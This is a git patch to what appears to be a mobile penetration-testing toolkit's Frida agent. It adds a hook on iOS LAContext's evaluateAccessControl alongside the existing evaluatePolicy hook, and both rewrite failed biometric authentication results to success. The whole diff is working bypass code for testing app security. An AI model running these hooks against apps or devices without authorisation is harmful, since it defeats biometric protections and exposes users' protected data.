From 2977c8a03a1111c352606352d9b68c12a5e4f7df Mon Sep 17 00:00:00 2001 From: John Novak Date: Wed, 17 Feb 2021 08:55:05 -0500 Subject: [PATCH] Adding iOS biometrics hook for evaluateAccessControl() (#411) --- agent/src/ios/userinterface.ts | 78 +++++++++++++++++++++++++++++----- 1 file changed, 68 insertions(+), 10 deletions(-) diff --git a/agent/src/ios/userinterface.ts b/agent/src/ios/userinterface.ts index 5c2b3403..ab24bc9f 100644 --- a/agent/src/ios/userinterface.ts +++ b/agent/src/ios/userinterface.ts @@ -77,20 +77,20 @@ export namespace userinterface { // } // }]; - const job: IJob = { + const job1: IJob = { identifier: jobs.identifier(), invocations: [], - type: "ios-biometrics-disable", + type: "ios-biometrics-disable-evaluatePolicy", }; - const lacontext: InvocationListener = Interceptor.attach( + const lacontext1: InvocationListener = Interceptor.attach( ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"].implementation, { onEnter(args) { // localizedReason: const reason = new ObjC.Object(args[3]); send( - c.blackBright(`[${job.identifier}] `) + `Localized Reason for auth requirement: ` + + c.blackBright(`[${job1.identifier}] `) + `Localized Reason for auth requirement (evaluatePolicy): ` + c.green(reason.toString()), ); @@ -102,13 +102,13 @@ export namespace userinterface { originalBlock.implementation = (success, error) => { send( - c.blackBright(`[${job.identifier}] `) + `OS authentication response: ` + + c.blackBright(`[${job1.identifier}] `) + `OS authentication response: ` + c.red(success), ); if (!success === true) { send( - c.blackBright(`[${job.identifier}] `) + + c.blackBright(`[${job1.identifier}] `) + c.greenBright("Marking OS response as True instead"), ); @@ -121,15 +121,73 @@ export namespace userinterface { savedReplyBlock(success, error); send( - c.blackBright(`[${job.identifier}] `) + - c.green("Biometrics bypass hook complete"), + c.blackBright(`[${job1.identifier}] `) + + c.green("Biometrics bypass hook complete (evaluatePolicy)"), ); }; }, }); // register the job - job.invocations.push(lacontext); - jobs.add(job); + job1.invocations.push(lacontext1); + jobs.add(job1); + + // -- Sample Swift + // https://gist.github.com/algrid/f3f03915f264f243b9d06e875ad198c8/raw/03998319903ad9d939f85bbcc94ce9c23042b82b/KeychainBio.swift + + const job2: IJob = { + identifier: jobs.identifier(), + invocations: [], + type: "ios-biometrics-disable-evaluateAccessControl", + }; + + const lacontext2: InvocationListener = Interceptor.attach( + ObjC.classes.LAContext["- evaluateAccessControl:operation:localizedReason:reply:"].implementation, { + onEnter(args) { + + // localizedReason: + const reason = new ObjC.Object(args[4]); + send( + c.blackBright(`[${job2.identifier}] `) + `Localized Reason for auth requirement (evaluateAccessControl): ` + + c.green(reason.toString()), + ); + + // get the original block that should run on success for reply: + // and save that block as a callback, to run once we change the reply + // from the OS to a true + const originalBlock = new ObjC.Block(args[5]); + const savedReplyBlock = originalBlock.implementation; + + originalBlock.implementation = (success, error) => { + send( + c.blackBright(`[${job2.identifier}] `) + `OS authentication response: ` + + c.red(success), + ); + + if (!success === true) { + send( + c.blackBright(`[${job2.identifier}] `) + + c.greenBright("Marking OS response as True instead"), + ); + + // Change the success response from the OS to true + success = true; + error = null; + } + + // and run the original block + savedReplyBlock(success, error); + + send( + c.blackBright(`[${job2.identifier}] `) + + c.green("Biometrics bypass hook complete (evaluateAccessControl)"), + ); + }; + }, + }); + + // register the job + job2.invocations.push(lacontext2); + jobs.add(job2); }; }